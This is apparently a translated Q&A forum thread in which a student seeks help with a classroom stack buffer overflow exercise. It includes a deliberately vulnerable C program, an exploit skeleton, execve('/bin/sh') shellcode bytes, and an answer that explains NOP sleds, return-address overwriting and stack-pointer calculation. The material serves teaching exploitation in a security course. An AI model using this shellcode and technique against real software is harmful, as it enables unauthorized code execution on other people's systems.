2010-10-05 17 views
5

Próbuję rozgryźć ten problem dla jednej z moich klas Comp Sci, wykorzystałem każdy zasób i wciąż mam problemy, jeśli ktoś mógłby zapewnić pewien wgląd, bardzo bym to docenił.Intencjonalny program wykorzystujący przepełnienie bufora

Mam ten "cel" Potrzebuję wykonać execve ("/ bin/sh") z exploita przepełnienia bufora. W przepełnieniu buf [128], podczas wykonywania niebezpiecznego polecenia strcpy, wskaźnik z powrotem do bufora pojawia się w miejscu, w którym system spodziewa się znaleźć adres zwrotny.

target.c

int bar(char *arg, char *out) 
{ 
strcpy(out,arg); 
return 0; 
} 

int foo(char *argv[]) 
{ 
char buf[128]; 
bar(argv[1], buf); 
} 

int main(int argc, char *argv[]) 
{ 
if (argc != 2) 
{ 
    fprintf(stderr, "target: argc != 2"); 
    exit(EXIT_FAILURE); 
} 
foo(argv); 
return 0; 
} 

exploit.c

#include "shellcode.h" 

#define TARGET "/tmp/target1" 

int main(void) 
{ 
    char *args[3]; 
    char *env[1]; 

    args[0] = TARGET; args[1] = "hi there"; args[2] = NULL; 
    env[0] = NULL; 

    if (0 > execve(TARGET, args, env)) 
    fprintf(stderr, "execve failed.\n"); 

    return 0; 
} 

shellcode.h

static char shellcode[] = 
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" 
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" 
    "\x80\xe8\xdc\xff\xff\xff/bin/sh"; 

I zrozumieć, że trzeba wypełnić argv [1] dla 128 bajtów, Bajty powyżej 128 to adres zwrotny, który należy skierować z powrotem do bufora, aby wykonywał on/bin/sh wewnątrz. Czy to jest do tej pory poprawne? Czy ktoś może zapewnić następny krok?

Dziękuję bardzo za pomoc.

+2

Przepełnienie stosu i przepełnienie bufora to dwie zupełnie różne rzeczy. – BoltClock

+0

Jest to w dużym stopniu zależne od systemu (kompilator, procesor itp.) I użytkownik nie zadał sobie trudu, aby to określić. –

+0

Nie mogłem nie zauważyć, że twój kod powłoki jest dokładną kopią znalezionego [tutaj] (http://insecure.org/stf/smashstack.html). Powinieneś prawdopodobnie przeczytać ten artykuł i zrozumieć, co się dzieje, abyś mógł wdrożyć własne. Plagiat na uniwersytecie to poważna sprawa. – Paul

Odpowiedz

5

Cóż, więc chcesz, aby program wykonał twój kod powłoki. Jest już w formie maszyny, więc jest gotowy do wykonania przez system. Zapisałeś go w buforze. Tak więc pytanie brzmiałoby: "W jaki sposób system wie, aby wykonać mój kod?" Dokładniej: "W jaki sposób system wie, gdzie szukać kolejnego kodu do wykonania?" Odpowiedź w tym przypadku to adres zwrotny, o którym mówisz.

Zasadniczo jesteś na dobrej drodze. Czy próbowałeś wykonać kod? Jedna rzecz, którą zauważyłem podczas wykonywania tego typu exploita, to to, że nie jest to nauka ścisła. Czasami w pamięci są inne rzeczy, których się nie spodziewasz, więc musisz zwiększyć liczbę bajtów dodawanych do bufora, aby poprawnie dopasować adres powrotu do miejsca, w którym system oczekuje, że będzie.

Nie jestem specjalistą od bezpieczeństwa, ale mogę powiedzieć kilka rzeczy, które mogą pomóc. Jedną z nich jest to, że zazwyczaj mam "NOP Sled" - w istocie to tylko seria bajtów 0x90, które nie wykonują niczego poza wykonaniem instrukcji "NOP" na procesorze. Kolejną sztuczką jest powtórzenie adresu zwrotnego na końcu bufora, więc jeśli nawet jeden z nich zastąpi adres zwrotny na stosie, będziesz miał udany powrót tam, gdzie chcesz.

Twój bufor będzie wyglądał następująco:

| NOP SLED | SHELLCODE | POWTÓRNY ADRES zwrotny |

(Uwaga: nie są to moje pomysły, mam je od Hacking: The Art of Exploitation, autorstwa Jona Ericksona, polecam tę książkę, jeśli chcesz dowiedzieć się więcej na ten temat).

Aby obliczyć adres, można użyć coś podobnego do następującego:

unsigned long sp(void) 
{ __asm__("movl %esp, %eax");} // returns the address of the stack pointer 

int main(int argc, char *argv[]) 
{ 
    int i, offset; 
    long esp, ret, *addr_ptr; 
    char* buffer; 

    offset = 0; 
    esp = sp(); 
    ret = esp - offset; 
} 

Teraz ret odbędzie adres zwrotny, który chcesz wrócić do zakładając, że można przydzielić bufor być na stercie.

+0

Bardzo dobrze wyjaśnione, bardzo dziękuję za poświęcenie czasu na pomoc. – CRO

+0

Byłem kiedyś studentem CSCI. Wiem, że przepełnienie bufora jest trudne - faktycznie musiałem uzyskać podobną pomoc, kiedy odbyłem pierwsze studia licencjackie z architektury komputerowej. :) Mam nadzieję, że mogę pomóc. – jwir3

+0

Mimo że książka Jona Ericksona jest naprawdę przyjemna, polecałbym "Podręcznik Shellcodersa". IMHO jest bardziej zaawansowany, zakłada, że ​​znasz już pewne rzeczy (asm, C, szczegóły OS). – jyz

Powiązane problemy